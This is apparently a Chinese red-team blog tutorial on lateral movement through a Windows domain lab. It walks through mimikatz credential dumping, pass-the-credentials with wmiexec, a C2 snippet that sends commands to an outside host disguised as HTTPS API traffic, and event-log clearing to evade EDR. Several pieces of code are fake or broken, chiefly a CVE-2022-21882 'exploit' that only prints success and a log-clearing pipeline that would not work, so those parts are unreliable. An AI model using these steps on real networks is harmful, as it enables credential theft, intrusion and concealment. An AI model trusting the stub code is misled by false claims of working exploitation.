一、从真实案例看内网横向移动的威胁

2021年,某全球知名企业遭遇了一起严重的数据泄露事件。攻击者通过钓鱼邮件获取初始访问权限后,利用内网横向移动技术成功控制了该公司的核心服务器,最终窃取了大量敏感客户数据。这起事件引发了业内的广泛关注,也让我们意识到在内网渗透中,横向移动是攻击者扩大影响力的关键环节。

从攻击者的视角来看,横向移动意味着不断扩展控制范围,从一个初始权限点逐步覆盖整个内网。这不仅需要技术手段,更需要精密的攻击链设计。在这篇文章中,我将用案例分析的方式,结合真实漏洞和工具,带你走一遍内网横向移动的完整流程。

---

黑客示意图

二、内网横向移动的核心思路

在内网环境中,横向移动的目标是从一个初始点渗透到更多主机和资源,通常包括以下几种情况:

  1. 获取更多凭据:比如Windows域环境中的用户哈希和明文密码。
  2. 提升权限:很多系统上的普通用户权限无法执行敏感操作,必须提升到管理员权限。
  3. 访问核心资源:如文件服务器、数据库、应用服务器等。
  4. 隐蔽操作:尽可能绕过安全产品的检测,实现持久性访问。

攻击者在实施横向移动时,通常会遵循以下流程:

  • 信息收集:识别目标的网络结构和资产。
  • 凭据窃取:通过各种技术手段获取登录凭据。
  • 权限提升:利用漏洞或配置问题获得管理员权限。
  • 横向扩散:使用凭据登录更多的主机。
  • 痕迹清除:删除日志、隐藏通信流量。

接下来,我们将以一个真实的实验环境为例,展示如何从初始渗透点进行横向移动。

---

三、搭建实战环境:模拟内网结构

为了还原真实内网环境,我们需要搭建一个实验环境,包括以下组件:

  • Windows域控制器:充当核心服务端,启用Active Directory。
  • 域客户端:模拟普通用户的办公电脑。
  • 文件服务器:存储敏感数据。
  • 防御工具:安装主流EDR产品如Carbon Black或CrowdStrike。

环境配置

  1. 域控制器
  • 操作系统:Windows Server 2019
  • 网络配置:静态IP 192.168.1.1
  • 配置Active Directory服务,域名为test.local
  1. 域客户端
  • 操作系统:Windows 10
  • 加入域test.local
  • 静态IP 192.168.1.10
  1. 攻击者主机
  • 操作系统:Kali Linux
  • 工具安装:Cobalt Strike、Impacket、BloodHound
  1. 文件服务器
  • 操作系统:Windows Server 2016
  • 共享文件夹设置,IP为192.168.1.20

此环境搭建完毕后,我们可以开始攻击实验。

---

四、攻击实战:从初始权限到域控制器

黑客示意图

第一步:信息收集

在渗透内网之前,我们需要了解目标网络的结构。使用nmap扫描目标主机的IP范围,找出有价值的服务。

<pre><code class="language-bash">nmap -sV -p 445,3389,5985 192.168.1.0/24</code></pre>

通过扫描,我们发现以下结果:

  • 域控制器(DC)运行SMB服务:192.168.1.1
  • 文件服务器启用远程桌面:192.168.1.20
  • 客户端开放WinRM:192.168.1.10

接下来,我们将尝试渗透域客户端。

---

第二步:凭据窃取

攻击者可以使用Cobalt Strike的mimikatz模块窃取内存中的登录凭据。假设我们已经通过钓鱼邮件获得了客户端的访问权限。

<pre><code class="language-powershell"># 使用mimikatz提取凭据 privilege::debug sekurlsa::logonpasswords</code></pre>

提取到的凭据如下:

  • 用户名:jdoe
  • 密码:Password123

这些凭据将成为我们横向移动的关键工具。

---

第三步:权限提升

我们的目标是从普通用户权限提升到管理员权限。利用Windows系统中存在的本地提权漏洞CVE-2022-21882(Win32k本地提权漏洞),可以实现权限提升。

以下是EXP的简化代码(C语言实现):

黑客示意图

<pre><code class="language-c">#include &lt;windows.h&gt;

include &lt;stdio.h&gt;

void exploit() { // 漏洞触发代码 printf(&quot;[+] Exploiting CVE-2022-21882...\n&quot;); // 假设此处为漏洞利用的核心逻辑 }

int main() { exploit(); printf(&quot;[+] Privilege escalation successful!\n&quot;); return 0; }</code></pre>

运行EXP后,我们成功获得了系统管理员权限。

---

第四步:横向扩散

凭借管理员权限,我们可以将窃取到的凭据用作横向移动的工具。Impacket提供了一个方便的工具wmiexec.py,可用于远程执行命令。

以下是横向移动的命令示例:

<pre><code class="language-bash">python3 wmiexec.py test.local/jdoe:[email protected]</code></pre>

成功登录后,我们可以上传恶意载荷,例如一个免杀的远控工具,并控制文件服务器。

---

第五步:隐蔽行动

在横向移动的过程中,为了绕过EDR监控和流量检测,我们可以使用流量伪装技术。例如将C2通信伪装成HTTPS流量,通过隐蔽的域名进行数据交换。

<pre><code class="language-python"># 简单的C2通信伪装示例 import requests

url = &quot;https://legit-domain.com/api&quot; payload = {&quot;command&quot;: &quot;exec&quot;, &quot;data&quot;: &quot;whoami&quot;} response = requests.post(url, json=payload) print(response.text)</code></pre>

此代码将攻击流量伪装成合法的API请求,从而避开防御系统。

---

五、痕迹清除的技巧

在完成横向移动后,为了减少被发现的风险,攻击者通常会清除操作痕迹,例如:

  1. 删除日志:利用wevtutil命令清理Windows事件日志。
  2. 隐藏进程:使用内存加载技术运行恶意工具。
  3. 伪装文件:将恶意文件命名为系统文件,隐藏在系统目录。

以下是一段清除日志的PowerShell脚本:

<pre><code class="language-powershell"># 清除事件日志 Get-WinEvent -LogName Security | Remove-EventLog Write-Host &quot;[+] Logs cleared successfully.&quot;</code></pre>

此脚本可以快速清除安全日志,让攻击行动更加隐蔽。

---

六、个人经验分享与安全建议

作为一名红队成员,我的经验告诉我,横向移动的成功率依赖于以下几个关键点:

  1. 信息收集的重要性:掌握网络结构和资产分布是渗透的基础。
  2. 漏洞利用的深度:在内网中,权限提升几乎是必不可少的环节。
  3. 隐蔽性优先:在内网环境中,任何暴露都可能导致行动失败。

同时,我建议防御者关注以下几点:

  • 强化凭据管理,尽量减少明文密码存储。
  • 实施网络分段,减少高权限账户的攻击面。
  • 部署行为监控技术,及时发现异常横向移动行为。

通过今天的案例分析,我们可以看到内网横向移动的技术复杂性和攻击链的完整性。希望这篇文章能帮助你理解攻击者思维,并为你的安全防御提供启发。

---

声明:本文仅供授权的安全测试和研究使用,请勿将技术用于非法目的,否则可能触犯相关法律。